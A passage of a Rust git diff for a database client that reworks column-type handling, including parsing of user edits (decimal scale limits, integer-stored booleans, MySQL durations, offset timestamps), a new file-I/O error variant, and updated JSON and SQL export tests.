&ColumnKind) -> bool { matches!( kind, - ColumnKind::Text(_) - | ColumnKind::Enumeration - | ColumnKind::Set + ColumnKind::Text { .. } + | ColumnKind::Enum { .. } + | ColumnKind::Network(_) + | ColumnKind::Xml | ColumnKind::Other - | ColumnKind::Network - | ColumnKind::Geometry ) } -fn strict(input: &str, column: &ColumnType) -> Result { +fn strict(input: &str, column: &ColumnType, purpose: Purpose) -> Result { let trimmed = input.trim(); - match column.kind() { - ColumnKind::Boolean => parse_bool(trimmed), - ColumnKind::Integer(kind) => parse_integer(trimmed, kind), - ColumnKind::Decimal => parse_decimal(trimmed), - ColumnKind::Float(kind) => parse_float(trimmed, kind), + match &column.kind { + ColumnKind::Bool(BoolStorage::Native) => parse_bool(trimmed).map(Value::Bool), + ColumnKind::Bool(BoolStorage::Integer) => parse_integer_bool(trimmed), + ColumnKind::Integer(kind) => parse_integer(trimmed, *kind), + ColumnKind::Decimal { precision, scale } => parse_decimal(trimmed, purpose, *precision, *scale), + ColumnKind::Money { scale } => parse_decimal(trimmed, purpose, None, scale.map(u32::from)), + ColumnKind::Float(width) => parse_float(trimmed, *width), // Text keeps what the user typed, spaces included: a trailing // space is a value, not a typo the app gets to remove. - ColumnKind::Text(_) | ColumnKind::Enumeration | ColumnKind::Set => Ok(Value::Text(input.to_owned())), - ColumnKind::Json => JsonText::parse(input.to_owned()) + // XML too: every driver reads it back as text, so an edit has to + // be text to bind as one and to compare equal when unchanged. + ColumnKind::Text { .. } | ColumnKind::Enum { .. } | ColumnKind::Xml => Ok(Value::Text(input.to_owned())), + ColumnKind::Json { .. } => JsonText::parse(input.to_owned()) .map(Value::Json) .map_err(|error| EditParseError::InvalidJson(error.to_string())), ColumnKind::Uuid => trimmed @@ -61,30 +77,53 @@ fn strict(input: &str, column: &ColumnType) -> Result { .map(Value::Uuid) .map_err(|_| EditParseError::InvalidUuid), ColumnKind::Date => parse_date(trimmed), - ColumnKind::Time => parse_time(trimmed), - ColumnKind::Timestamp => parse_timestamp(trimmed), + ColumnKind::Time { with_offset: true, .. } => parse_time_with_offset(trimmed), + ColumnKind::Time { + range: TimeRange::Duration, + .. + } => parse_duration(trimmed), + ColumnKind::Time { .. } => parse_time(trimmed), + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + } => parse_timestamp_with_offset(trimmed), + ColumnKind::Timestamp { .. } => parse_timestamp(trimmed), ColumnKind::Interval => trimmed .parse::() .map(Value::Interval) .map_err(|_| EditParseError::InvalidInterval), - ColumnKind::BitString => parse_bits(trimmed), - ColumnKind::Network | ColumnKind::Geometry | ColumnKind::Other => Ok(Value::Other(Box::new(OtherValue { - type_name: column.name().as_sql().to_owned(), + ColumnKind::BitString { .. } => parse_bits(trimmed), + ColumnKind::Network(_) | ColumnKind::Other => Ok(Value::Other(Box::new(OtherValue { + type_name: column.name.clone(), text: input.to_owned(), }))), - ColumnKind::Binary => Err(EditParseError::NotEditable(ReadOnlyReason::Bytes)), - ColumnKind::Array => Err(EditParseError::NotEditable(ReadOnlyReason::Composite)), + ColumnKind::Bytes { .. } => Err(EditParseError::NotEditable(ReadOnlyReason::Bytes)), + ColumnKind::Spatial => Err(EditParseError::NotEditable(ReadOnlyReason::Spatial)), + ColumnKind::Variant => Err(EditParseError::NotEditable(ReadOnlyReason::Variant)), + ColumnKind::Array { .. } | ColumnKind::Composite => Err(EditParseError::NotEditable(ReadOnlyReason::Composite)), } } -fn parse_bool(input: &str) -> Result { +fn parse_bool(input: &str) -> Result { match input.to_ascii_lowercase().as_str() { - "true" | "t" | "yes" | "y" | "on" | "1" => Ok(Value::Bool(true)), - "false" | "f" | "no" | "n" | "off" | "0" => Ok(Value::Bool(false)), + "true" | "t" | "yes" | "y" | "on" | "1" => Ok(true), + "false" | "f" | "no" | "n" | "off" | "0" => Ok(false), _ => Err(EditParseError::InvalidBoolean), } } +/// A boolean the server stores as an integer. It keeps any integer, so +/// a typed 2 stays 2 rather than becoming true. +fn parse_integer_bool(input: &str) -> Result { + if let Ok(flag) = parse_bool(input) { + return Ok(Value::Int(i64::from(flag))); + } + input + .parse::() + .map(Value::Int) + .map_err(|_| EditParseError::InvalidBoolean) +} + fn parse_integer(input: &str, kind: IntegerKind) -> Result { // i128 first so a number that is merely out of range is reported // as such rather than as unreadable. @@ -113,26 +152,52 @@ fn narrow(wide: WideInteger) -> Value { Value::WideInt(wide) } -fn parse_decimal(input: &str) -> Result { - input - .parse::() - .map(Value::Decimal) - .map_err(EditParseError::InvalidDecimal) +fn parse_decimal( + input: &str, + purpose: Purpose, + precision: Option, + scale: Option, +) -> Result { + let decimal = input.parse::().map_err(EditParseError::InvalidDecimal)?; + if purpose == Purpose::Store && decimal.is_finite() { + check_declared_digits(&decimal, precision, scale)?; + } + Ok(Value::Decimal(decimal)) +} + +/// Refuse a value the column would round or overflow, rather than let +/// the server change what the user typed. Trailing zeros past the scale +/// are not a change, so `1.50` fits `numeric(10,1)`. +fn check_declared_digits( + decimal: &SqlDecimal, + precision: Option, + scale: Option, +) -> Result<(), EditParseError> { + match (precision, scale) { + (_, Some(scale)) if !decimal.fits(u32::MAX, scale) => Err(EditParseError::ScaleExceeded { scale }), + (Some(precision), Some(scale)) if !decimal.fits(precision, scale) => { + Err(EditParseError::PrecisionExceeded { precision }) + } + (Some(precision), None) if decimal.integer_digits().is_some_and(|digits| digits > precision) => { + Err(EditParseError::PrecisionExceeded { precision }) + } + _ => Ok(()), + } } -fn parse_float(input: &str, kind: FloatKind) -> Result { +fn parse_float(input: &str, width: FloatWidth) -> Result { if let Some(value) = non_finite(input) { - return Ok(match kind { - FloatKind::F32 => Value::Float32(value as f32), - FloatKind::F64 => Value::Float64(value), + return Ok(match width { + FloatWidth::F32 => Value::Float32(value as f32), + FloatWidth::F64 => Value::Float64(value), }); } - match kind { - FloatKind::F32 => input + match width { + FloatWidth::F32 => input .parse::() .map(Value::Float32) .map_err(|_| EditParseError::InvalidFloat), - FloatKind::F64 => input + FloatWidth::F64 => input .parse::() .map(Value::Float64) .map_err(|_| EditParseError::InvalidFloat), @@ -169,6 +234,15 @@ fn parse_time(input: &str) -> Result { Err(EditParseError::InvalidTime) } +/// MySQL TIME, which measures an amount of time and so runs past 24 +/// hours and below zero. +fn parse_duration(input: &str) -> Result { + input.parse::().map(Value::Time).map_err(|error| match error { + TimeRangeError::OutOfRange => EditParseError::TimeOutOfRange, + TimeRangeError::InvalidComponent | TimeRangeError::InvalidSyntax => EditParseError::InvalidTime, + }) +} + fn parse_timestamp(input: &str) -> Result { if let Some(temporal) = infinite_temporal(input) { return Ok(Value::Timestamp(temporal)); @@ -213,11 +287,15 @@ fn parse_bits(input: &str) -> Result { /// than a stored value, so a column whose type has no text form still /// takes one here. pub fn parse_filter_text(input: &str, column: &ColumnType) -> Result { - match column.kind() { - // A filter on a binary or array column compares text the user - // typed; the dialect decides what that means. - ColumnKind::Binary | ColumnKind::Array => Ok(Value::Text(input.to_owned())), - _ => parse_literal_text(input, column), + match column.kind { + // A filter on a column with no editable text form compares text + // the user typed; the dialect decides what that means. + ColumnKind::Bytes { .. } + | ColumnKind::Spatial + | ColumnKind::Array { .. } + | ColumnKind::Variant + | ColumnKind::Composite => Ok(Value::Text(input.to_owned())), + _ => parse(input, column, Purpose::Compare), } } @@ -266,18 +344,43 @@ pub fn parse_timestamp_with_offset(input: &str) -> Result #[cfg(test)] mod tests { - use crate::column::{CatalogType, ColumnKind, ReadForm, SqlTypeExpr, TextKind}; + use crate::column::{IntegerWidth, ReadForm, TextLength}; use super::*; fn column(kind: ColumnKind, dynamic_storage: bool) -> ColumnType { - ColumnType::new( - SqlTypeExpr::from_catalog_text("t"), + ColumnType { + name: "t".to_owned(), kind, - CatalogType::Unknown, + catalog: None, dynamic_storage, - ReadForm::Native, - ) + read_form: ReadForm::Native, + } + } + + fn int(width: IntegerWidth, signed: bool) -> ColumnKind { + ColumnKind::Integer(IntegerKind { width, signed }) + } + + fn time(with_offset: bool, range: TimeRange) -> ColumnKind { + ColumnKind::Time { + fractional_digits: None, + with_offset, + range, + } + } + + fn stamp(zone: TemporalZone) -> ColumnKind { + ColumnKind::Timestamp { + fractional_digits: None, + zone, + } + } + + fn bytes() -> ColumnKind { + ColumnKind::Bytes { + length: TextLength::Unbounded, + } } fn parse(kind: ColumnKind, input: &str) -> Result { @@ -286,17 +389,39 @@ mod tests { #[test] fn parse_filter_text_integer_bounds_i8_to_u64() { + let i8 = IntegerKind { + width: IntegerWidth::W8, + signed: true, + }; + let u8 = IntegerKind { + width: IntegerWidth::W8, + signed: false, + }; + let i24 = IntegerKind { + width: IntegerWidth::W24, + signed: true, + }; + let i32 = IntegerKind { + width: IntegerWidth::W32, + signed: true, + }; + let u64 = IntegerKind { + width: IntegerWidth::W64, + signed: false, + }; let cases = [ - (IntegerKind::I8, "127", true), - (IntegerKind::I8, "128", false), - (IntegerKind::I8, "-128", true), - (IntegerKind::I8, "-129", false), - (IntegerKind::U8, "255", true), - (IntegerKind::U8, "-1", false), - (IntegerKind::I32, "2147483647", true), - (IntegerKind::I32, "2147483648", false), - (IntegerKind::U64, "18446744073709551615", true), - (IntegerKind::U64, "18446744073709551616", false), + (i8, "127", true), + (i8, "128", false), + (i8, "-128", true), + (i8, "-129", false), + (u8, "255", true), + (u8, "-1", false), + (i24, "8388607", true), + (i24, "8388608", false), + (i32, "2147483647", true), + (i32, "2147483648", false), + (u64, "18446744073709551615", true), + (u64, "18446744073709551616", false), ]; for (kind, input, accepted) in cases { @@ -312,51 +437,102 @@ mod tests { } } + #[test] + fn parse_literal_text_numeric_scale_exceeded() { + let numeric = ColumnKind::Decimal { + precision: Some(10), + scale: Some(2), + }; + + assert_eq!( + parse(numeric.clone(), "1.005"), + Err(EditParseError::ScaleExceeded { scale: 2 }), + "the server would have rounded the value" + ); + assert_eq!( + parse(numeric.clone(), "123456789.5"), + Err(EditParseError::PrecisionExceeded { precision: 10 }) + ); + assert!(matches!(parse(numeric.clone(), "12345678.50"), Ok(Value::Decimal(_)))); + assert!( + matches!(parse(numeric.clone(), "NaN"), Ok(Value::Decimal(_))), + "a non-finite value is the server's to judge" + ); + assert!( + matches!( + parse_filter_text("1.005", &column(numeric, false)), + Ok(Value::Decimal(_)) + ), + "a comparison was held to the column's scale" + ); + assert_eq!( + parse(ColumnKind::Money { scale: Some(2) }, "0.001"), + Err(EditParseError::ScaleExceeded { scale: 2 }) + ); + } + #[test] fn text_that_is_not_a_number_is_not_a_range_problem() { assert_eq!( - parse(ColumnKind::Integer(IntegerKind::I32), "seven"), + parse(int(IntegerWidth::W32, true), "seven"), Err(EditParseError::InvalidInteger) ); } #[test] fn an_integer_lands_in_the_smallest_variant_that_holds_it() { - assert_eq!(parse(ColumnKind::Integer(IntegerKind::I64), "7"), Ok(Value::Int(7))); + assert_eq!(parse(int(IntegerWidth::W64, true), "7"), Ok(Value::Int(7))); assert_eq!( - parse(ColumnKind::Integer(IntegerKind::U64), "18446744073709551615"), + parse(int(IntegerWidth::W64, false), "18446744073709551615"), Ok(Value::UInt(u64::MAX)) ); assert!(matches!( - parse( - ColumnKind::Integer(IntegerKind::I128), - "170141183460469231731687303715884105727" - ), + parse(int(IntegerWidth::W128, true), "170141183460469231731687303715884105727"), Ok(Value::WideInt(_)) )); } #[test] fn booleans_take_the_words_each_engine_uses() { + let native = ColumnKind::Bool(BoolStorage::Native); for input in ["true", "TRUE", "t", "yes", "on", "1"] { - assert_eq!(parse(ColumnKind::Boolean, input), Ok(Value::Bool(true)), "{input}"); + assert_eq!(parse(native.clone(), input), Ok(Value::Bool(true)), "{input}"); } for input in ["false", "F", "no", "off", "0"] { - assert_eq!(parse(ColumnKind::Boolean, input), Ok(Value::Bool(false)), "{input}"); + assert_eq!(parse(native.clone(), input), Ok(Value::Bool(false)), "{input}"); } - assert_eq!(parse(ColumnKind::Boolean, "maybe"), Err(EditParseError::InvalidBoolean)); + assert_eq!(parse(native, "maybe"), Err(EditParseError::InvalidBoolean)); + } + + #[test] + fn an_integer_stored_boolean_keeps_its_exact_integer() { + let stored = ColumnKind::Bool(BoolStorage::Integer); + + assert_eq!(parse(stored.clone(), "true"), Ok(Value::Int(1))); + assert_eq!(parse(stored.clone(), "off"), Ok(Value::Int(0))); + assert_eq!( + parse(stored.clone(), "2"), + Ok(Value::Int(2)), + "a tinyint(1) holding 2 was read as true" + ); + assert_eq!(parse(stored, "maybe"), Err(EditParseError::InvalidBoolean)); } #[test] fn floats_take_the_non_finite_words() { - assert!(matches!(parse(ColumnKind::Float(FloatKind::F64), "NaN"), Ok(Value::Float64(value)) if value.is_nan())); + assert!( + matches!(parse(ColumnKind::Float(FloatWidth::F64), "NaN"), Ok(Value::Float64(value)) if value.is_nan()) + ); assert_eq!( - parse(ColumnKind::Float(FloatKind::F64), "-infinity"), + parse(ColumnKind::Float(FloatWidth::F64), "-infinity"), Ok(Value::Float64(f64::NEG_INFINITY)) ); - assert_eq!(parse(ColumnKind::Float(FloatKind::F32), "1.5"), Ok(Value::Float32(1.5))); assert_eq!( - parse(ColumnKind::Float(FloatKind::F64), "x"), + parse(ColumnKind::Float(FloatWidth::F32), "1.5"), + Ok(Value::Float32(1.5)) + ); + assert_eq!( + parse(ColumnKind::Float(FloatWidth::F64), "x"), Err(EditParseError::InvalidFloat) ); } @@ -364,17 +540,36 @@ mod tests { #[test] fn text_keeps_what_the_user_typed_including_spaces() { assert_eq!( - parse(ColumnKind::Text(TextKind::Variable), " padded "), + parse( + ColumnKind::Text { + length: TextLength::Varying(20) + }, + " padded " + ), Ok(Value::Text(" padded ".to_owned())), "the parser trimmed a value the column can hold" ); } + #[test] + fn xml_is_edited_as_text() { + assert_eq!( + parse(ColumnKind::Xml, " b "), + Ok(Value::Text(" b ".to_owned())) + ); + } + #[test] fn a_column_whose_text_is_what_the_server_stores_keeps_unparseable_text() { // An enum label this build has not seen is still text the // server may accept, so it is not the app's call to refuse. - let enumeration = column(ColumnKind::Enumeration, true); + let enumeration = column( + ColumnKind::Enum { + labels: vec!["draft".to_owned()], + multiple: false, + }, + true, + ); assert_eq!( parse_literal_text("unexpected", &enumeration), @@ -389,7 +584,7 @@ mod tests { for dynamic_storage in [true, false] { assert!( matches!( - parse_literal_text("not json", &column(ColumnKind::Json, dynamic_storage)), + parse_literal_text("not json", &column(ColumnKind::Json { binary: false }, dynamic_storage)), Err(EditParseError::InvalidJson(_)) ), "dynamic_storage = {dynamic_storage}" @@ -399,7 +594,7 @@ mod tests { #[test] fn a_bad_number_is_never_kept_as_text() { - let dynamic = column(ColumnKind::Integer(IntegerKind::I32), true); + let dynamic = column(int(IntegerWidth::W32, true), true); assert_eq!( parse_literal_text("seven", &dynamic), @@ -411,7 +606,7 @@ mod tests { fn temporals_take_their_infinities() { assert_eq!(parse(ColumnKind::Date, "infinity"), Ok(Value::Date(Temporal::Infinity))); assert_eq!( - parse(ColumnKind::Timestamp, "-infinity"), + parse(stamp(TemporalZone::Naive), "-infinity"), Ok(Value::Timestamp(Temporal::NegInfinity)) ); assert_eq!( @@ -425,39 +620,58 @@ mod tests { #[test] fn a_fractional_second_survives_the_parse() { - let Ok(Value::Time(time)) = parse(ColumnKind::Time, "12:00:00.123456") else { + let Ok(Value::Time(time)) = parse(time(false, TimeRange::TimeOfDay), "12:00:00.123456") else { panic!("a fractional time did not parse"); }; assert_eq!(time.format(Some(6)), "12:00:00.123456"); } + fn bit_kind() -> ColumnKind { + ColumnKind::BitString { + length: None, + varying: true, + } + } + #[test] fn bits_are_zeroes_and_ones_and_nothing_else() { - let Ok(Value::Bits(bits)) = parse(ColumnKind::BitString, "1011") else { + let Ok(Value::Bits(parsed)) = parse(bit_kind(), "1011") else { panic!("a bit string did not parse"); }; - assert_eq!(bits.to_string(), "1011"); + assert_eq!(parsed.to_string(), "1011"); - assert_eq!(parse(ColumnKind::BitString, "1021"), Err(EditParseError::InvalidBits)); - assert_eq!(parse(ColumnKind::BitString, ""), Err(EditParseError::InvalidBits)); + assert_eq!(parse(bit_kind(), "1021"), Err(EditParseError::InvalidBits)); + assert_eq!(parse(bit_kind(), ""), Err(EditParseError::InvalidBits)); } #[test] - fn binary_and_array_cells_are_not_editable_as_text() { - assert_eq!( - parse(ColumnKind::Binary, "0xff"), - Err(EditParseError::NotEditable(ReadOnlyReason::Bytes)) - ); - assert_eq!( - parse(ColumnKind::Array, "{1,2}"), - Err(EditParseError::NotEditable(ReadOnlyReason::Composite)) - ); + fn cells_with_no_text_form_are_not_editable_as_text() { + let array = ColumnKind::Array { + element: Box::new(int(IntegerWidth::W32, true)), + }; + let cases = [ + (bytes(), ReadOnlyReason::Bytes), + (ColumnKind::Spatial, ReadOnlyReason::Spatial), + (ColumnKind::Variant, ReadOnlyReason::Variant), + (ColumnKind::Composite, ReadOnlyReason::Composite), + (array, ReadOnlyReason::Composite), + ]; + + for (kind, reason) in cases { + for dynamic_storage in [false, true] { + assert_eq!( + parse_literal_text("x", &column(kind.clone(), dynamic_storage)), + Err(EditParseError::NotEditable(reason)), + "{kind:?} dynamic_storage = {dynamic_storage}" + ); + } + } } #[test] fn a_filter_on_a_binary_column_compares_text() { - let binary = column(ColumnKind::Binary, false); + let binary = column(bytes(), false); assert_eq!( parse_filter_text("0xff", &binary), @@ -481,9 +695,50 @@ mod tests { assert_eq!(stamp.offset().local_minus_utc(), 5 * 3600 + 1800); } + #[test] + fn an_offset_column_parses_with_its_offset() { + assert!(matches!( + parse(stamp(TemporalZone::Offset), "2024-06-15 12:00:00+05:30"), + Ok(Value::TimestampTz(Temporal::Finite(_))) + )); + assert_eq!( + parse(stamp(TemporalZone::Offset), "2024-06-15 12:00:00"), + Err(EditParseError::OffsetRequired) + ); + assert!(matches!( + parse(time(true, TimeRange::TimeOfDay), "12:00:00+02:00"), + Ok(Value::TimeTz(_)) + )); + assert!(matches!( + parse(stamp(TemporalZone::Named("UTC".to_owned())), "2024-06-15 12:00:00"), + Ok(Value::Timestamp(Temporal::Finite(_))) + )); + } + + #[test] + fn a_duration_runs_past_a_day_and_below_zero() { + let duration = time(false, TimeRange::Duration); + + let Ok(Value::Time(long)) = parse(duration.clone(), "838:59:59") else { + panic!("the longest MySQL TIME did not parse"); + }; + assert_eq!(long.format(None), "838:59:59"); + assert!(matches!(parse(duration.clone(), "-01:30:00"), Ok(Value::Time(_)))); + assert_eq!( + parse(duration.clone(), "839:00:00"), + Err(EditParseError::TimeOutOfRange) + ); + assert_eq!(parse(duration, "noon"), Err(EditParseError::InvalidTime)); + assert_eq!( + parse(time(false, TimeRange::TimeOfDay), "25:00:00"), + Err(EditParseError::InvalidTime) + ); + } + #[test] fn a_network_column_keeps_the_servers_own_text() { - let Ok(Value::Other(other)) = parse(ColumnKind::Network, "10.0.0.0/8") else { + let Ok(Value::Other(other)) = parse(ColumnKind::Network(crate::column::NetworkFamily::Cidr), "10.0.0.0/8") + else { panic!("a network value did not parse"); }; diff --git a/linux/crates/core/src/error.rs b/linux/crates/core/src/error.rs index b22b1c7709..8cdf87ee84 100644 --- a/linux/crates/core/src/error.rs +++ b/linux/crates/core/src/error.rs @@ -106,6 +106,12 @@ pub enum DriverError { #[error("{} is not a database file", .path.display())] NotADatabase { path: PathBuf }, + /// The file system refused for a reason other than permission, such + /// as a full disk or a read-only mount. The kind is kept rather than + /// the error, so the variant stays comparable and cloneable. + #[error("could not write {}: {kind}", .path.display())] + FileIo { path: PathBuf, kind: std::io::ErrorKind }, + #[error("the server has no room for another connection")] Busy, @@ -143,9 +149,10 @@ impl DriverError { | Self::RowGuardFailed { .. } | Self::CommitOutcomeUnknown { .. } | Self::PartiallyApplied { .. } => ErrorCategory::WriteOutcome, - Self::FileNotFound { .. } | Self::FileAccessDenied { .. } | Self::NotADatabase { .. } => { - ErrorCategory::File - } + Self::FileNotFound { .. } + | Self::FileAccessDenied { .. } + | Self::NotADatabase { .. } + | Self::FileIo { .. } => ErrorCategory::File, Self::Busy | Self::EditorSessionBusy => ErrorCategory::Busy, Self::Config(_) | Self::Unsupported { .. } => ErrorCategory::Configuration, Self::GuardUnsupported { .. } | Self::Decode { .. } | Self::Protocol(_) => ErrorCategory::Internal, @@ -184,6 +191,21 @@ mod tests { assert_send_sync_error::(); } + #[test] + fn a_full_disk_is_a_file_problem_that_names_its_cause() { + let full = DriverError::FileIo { + path: PathBuf::from("/data/app.sqlite3"), + kind: std::io::ErrorKind::StorageFull, + }; + + assert_eq!(full.category(), ErrorCategory::File); + assert!(full.to_string().contains("/data/app.sqlite3"), "{full}"); + assert!( + full.to_string().contains(&std::io::ErrorKind::StorageFull.to_string()), + "{full}" + ); + } + #[test] fn a_write_that_rolled_back_is_not_a_server_error() { let rolled_back = DriverError::RolledBack { diff --git a/linux/crates/core/src/export/json.rs b/linux/crates/core/src/export/json.rs index 2ab063b5ee..faed9fffe7 100644 --- a/linux/crates/core/src/export/json.rs +++ b/linux/crates/core/src/export/json.rs @@ -141,7 +141,7 @@ pub fn render_json(columns: &[ResultColumn], rows: &[Vec]) -> String { #[cfg(test)] mod tests { - use crate::column::ColumnKind; + use crate::column::{ColumnKind, IntegerKind, IntegerWidth, TemporalZone}; use super::super::test_columns::{cols, typed}; use super::*; @@ -174,9 +174,19 @@ mod tests { typed( "bigint unsigned", "bigint unsigned", - ColumnKind::Integer(crate::column::IntegerKind::U64), + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: false, + }), + ), + typed( + "amount", + "numeric(40,20)", + ColumnKind::Decimal { + precision: Some(40), + scale: Some(20), + }, ), - typed("amount", "numeric(40,20)", ColumnKind::Decimal), ]; let row = vec![ Value::UInt(u64::MAX), @@ -198,7 +208,14 @@ mod tests { #[test] fn a_decimal_fills_out_its_column_scale() { - let columns = vec![typed("amount", "numeric(38,10)", ColumnKind::Decimal)]; + let columns = vec![typed( + "amount", + "numeric(38,10)", + ColumnKind::Decimal { + precision: Some(38), + scale: Some(10), + }, + )]; let row = vec![Value::Decimal("1".parse().expect("a decimal"))]; let text = row_to_json(&columns, &row); @@ -208,7 +225,7 @@ mod tests { #[test] fn a_json_column_embeds_its_document_rather_than_a_string_of_one() { - let columns = vec![typed("payload", "jsonb", ColumnKind::Json)]; + let columns = vec![typed("payload", "jsonb", ColumnKind::Json { binary: true })]; let row = vec![Value::Json( crate::value::JsonText::parse(r#"{"a": [1, 2]}"#.to_owned()).expect("valid json"), )]; @@ -230,7 +247,14 @@ mod tests { #[test] fn a_timestamp_goes_out_in_the_form_readers_expect() { - let columns = vec![typed("at", "timestamp(3)", ColumnKind::Timestamp)]; + let columns = vec![typed( + "at", + "timestamp(3)", + ColumnKind::Timestamp { + fractional_digits: Some(3), + zone: TemporalZone::Naive, + }, + )]; let stamp = chrono::NaiveDate::from_ymd_opt(2024, 6, 15) .expect("a date") .and_hms_milli_opt(12, 0, 0, 500) diff --git a/linux/crates/core/src/export/mod.rs b/linux/crates/core/src/export/mod.rs index 7fb570ae9c..6e451b3eae 100644 --- a/linux/crates/core/src/export/mod.rs +++ b/linux/crates/core/src/export/mod.rs @@ -75,28 +75,30 @@ fn finish(writer: ::csv::Writer>) -> Result { #[cfg(test)] mod test_columns { - use crate::column::{CatalogType, ColumnKind, ColumnType, ReadForm, ResultColumn, SqlTypeExpr, TextKind}; + use crate::column::{ColumnKind, ColumnType, ReadForm, ResultColumn, TextLength}; pub fn text_type() -> ColumnType { - ColumnType::new( - SqlTypeExpr::from_catalog_text("text"), - ColumnKind::Text(TextKind::Variable), - CatalogType::Unknown, - true, - ReadForm::Native, - ) + ColumnType { + name: "text".to_owned(), + kind: ColumnKind::Text { + length: TextLength::Unbounded, + }, + catalog: None, + dynamic_storage: true, + read_form: ReadForm::Native, + } } - pub fn typed(name: &str, sql: &str, kind: ColumnKind) -> ResultColumn { + pub fn typed(name: &str, type_name: &str, kind: ColumnKind) -> ResultColumn { ResultColumn::new( name, - ColumnType::new( - SqlTypeExpr::from_catalog_text(sql), + ColumnType { + name: type_name.to_owned(), kind, - CatalogType::Unknown, - false, - ReadForm::Native, - ), + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, ) } diff --git a/linux/crates/core/src/export/sql.rs b/linux/crates/core/src/export/sql.rs index 79040dc781..528c426646 100644 --- a/linux/crates/core/src/export/sql.rs +++ b/linux/crates/core/src/export/sql.rs @@ -60,10 +60,13 @@ pub fn literal(dialect: &dyn SqlDialect, value: &Value, column: &ResultColumn) - #[cfg(test)] mod tests { - use crate::dialect::dialect_for; - use super::super::test_columns::cols; use super::*; + use crate::dialect::TestDialect; + + fn render(table: &str, columns: &[ResultColumn], rows: &[Vec]) -> String { + render_sql_insert(&TestDialect::default(), table, columns, rows) + } #[test] fn a_row_becomes_one_statement_per_row() { @@ -72,7 +75,7 @@ mod tests { vec![Value::Int(2), Value::Text("b".into())], ]; - let sql = render_sql_insert(dialect_for("postgres"), "users", &cols(&["id", "name"]), &rows); + let sql = render("users", &cols(&["id", "name"]), &rows); assert_eq!( sql, @@ -81,35 +84,18 @@ mod tests { ); } - #[test] - fn each_engine_quotes_the_way_it_reads() { - let rows = vec![vec![Value::Int(1)]]; - let columns = cols(&["id"]); - - let postgres = render_sql_insert(dialect_for("postgres"), "t", &columns, &rows); - let mysql = render_sql_insert(dialect_for("mysql"), "t", &columns, &rows); - - assert!(postgres.starts_with("INSERT INTO \"t\" (\"id\")"), "{postgres}"); - assert!(mysql.starts_with("INSERT INTO `t` (`id`)"), "{mysql}"); - } - #[test] fn a_quote_in_a_value_cannot_end_the_literal() { let rows = vec![vec![Value::Text("O'Brien".into())]]; - let sql = render_sql_insert(dialect_for("postgres"), "t", &cols(&["name"]), &rows); + let sql = render("t", &cols(&["name"]), &rows); assert!(sql.contains("'O''Brien'"), "{sql}"); } #[test] fn a_quote_in_an_identifier_cannot_end_it_either() { - let sql = render_sql_insert( - dialect_for("postgres"), - "we\"ird", - &cols(&["a\"b"]), - &[vec![Value::Int(1)]], - ); + let sql = render("we\"ird", &cols(&["a\"b"]), &[vec![Value::Int(1)]]); assert!(sql.contains("\"we\"\"ird\""), "{sql}"); assert!(sql.contains("\"a\"\"b\""), "{sql}"); @@ -119,7 +105,7 @@ mod tests { fn a_null_is_written_as_null() { let rows = vec![vec![Value::Null]]; - let sql = render_sql_insert(dialect_for("postgres"), "t", &cols(&["a"]), &rows); + let sql = render("t", &cols(&["a"]), &rows); assert!(sql.contains("VALUES (NULL)"), "{sql}"); } @@ -128,7 +114,7 @@ mod tests { fn a_value_the_engine_has_no_literal_for_says_so_rather_than_guessing() { let rows = vec![vec![Value::Bytes(vec![0xde, 0xad])]]; - let sql = render_sql_insert(dialect_for("postgres"), "t", &cols(&["blob"]), &rows); + let sql = render("t", &cols(&["blob"]), &rows); assert!(sql.contains("omitted"), "{sql}"); assert!(sql.contains("NULL"), "{sql}"); @@ -139,13 +125,13 @@ mod tests { fn a_short_row_still_fills_every_column() { let rows = vec![vec![Value::Int(1)]]; - let sql = render_sql_insert(dialect_for("postgres"), "t", &cols(&["a", "b"]), &rows); + let sql = render("t", &cols(&["a", "b"]), &rows); assert!(sql.contains("VALUES (1, NULL)"), "{sql}"); } #[test] fn a_result_with_no_columns_writes_nothing() { - assert_eq!(render_sql_insert(dialect_for("postgres"), "t", &[], &[]), ""); + assert_eq!(render("t", &[], &[]), ""); } } diff --git a/linux/crates/core/src/export/value_text.rs b/linux/crates/core/src/export/value_text.rs index efcd3978eb..32b0478e23 100644 --- a/linux/crates/core/src/export/value_text.rs +++ b/linux/crates/core/src/export/value_text.rs @@ -23,7 +23,7 @@ pub fn value_text(value: &Value, column: &ColumnType) -> Option { format!( "{}{}", stamp.format("%Y-%m-%d %H:%M:%S"), - fraction_text(stamp.nanosecond(), column.fractional_digits()) + fraction_text(stamp.nanosecond(), column.kind.fractional_digits()) ) }), Value::TimestampTz(stamp) => temporal_text(stamp, |stamp| { @@ -31,18 +31,18 @@ pub fn value_text(value: &Value, column: &ColumnType) -> Option { format!( "{}{}{}", stamp.format("%Y-%m-%d %H:%M:%S"), - fraction_text(stamp.nanosecond(), column.fractional_digits()), + fraction_text(stamp.nanosecond(), column.kind.fractional_digits()), stamp.format("%:z") ) }), - Value::Decimal(decimal) => Some(decimal_text(decimal, column.decimal_scale())), + Value::Decimal(decimal) => Some(decimal_text(decimal, column.kind.decimal_scale())), other => value_to_text(other), } } /// The digits a time type declares, in the width `SqlTime` formats at. fn second_digits(column: &ColumnType) -> Option { - column.fractional_digits().map(|digits| digits.min(9) as u8) + column.kind.fractional_digits().map(|digits| digits.min(9)) } /// The fractional second, at the digits the column declares. @@ -50,7 +50,7 @@ fn second_digits(column: &ColumnType) -> Option { /// With no declared precision the fraction is the one the value /// carries, trimmed, because inventing digits would claim a precision /// the column never promised. -fn fraction_text(nanos: u32, digits: Option) -> String { +fn fraction_text(nanos: u32, digits: Option) -> String { let nanos = nanos.min(999_999_999); let Some(digits) = digits else { return match nanos { @@ -61,7 +61,7 @@ fn fraction_text(nanos: u32, digits: Option) -> String { if digits == 0 { return String::new(); } - let digits = digits.min(9) as usize; + let digits = usize::from(digits.min(9)); let mut text = format!("{nanos:09}"); text.truncate(digits); format!(".{text}") @@ -182,17 +182,39 @@ mod tests { use uuid::Uuid; use super::*; - use crate::column::{CatalogType, ColumnKind, ReadForm, SqlTypeExpr}; + use crate::column::{ColumnKind, ReadForm, TemporalZone, TimeRange}; use crate::value::{JsonText, SqlTime, Temporal}; - fn typed(sql: &str, kind: ColumnKind) -> ColumnType { - ColumnType::new( - SqlTypeExpr::from_catalog_text(sql), + fn typed(name: &str, kind: ColumnKind) -> ColumnType { + ColumnType { + name: name.to_owned(), kind, - CatalogType::Unknown, - false, - ReadForm::Native, - ) + catalog: 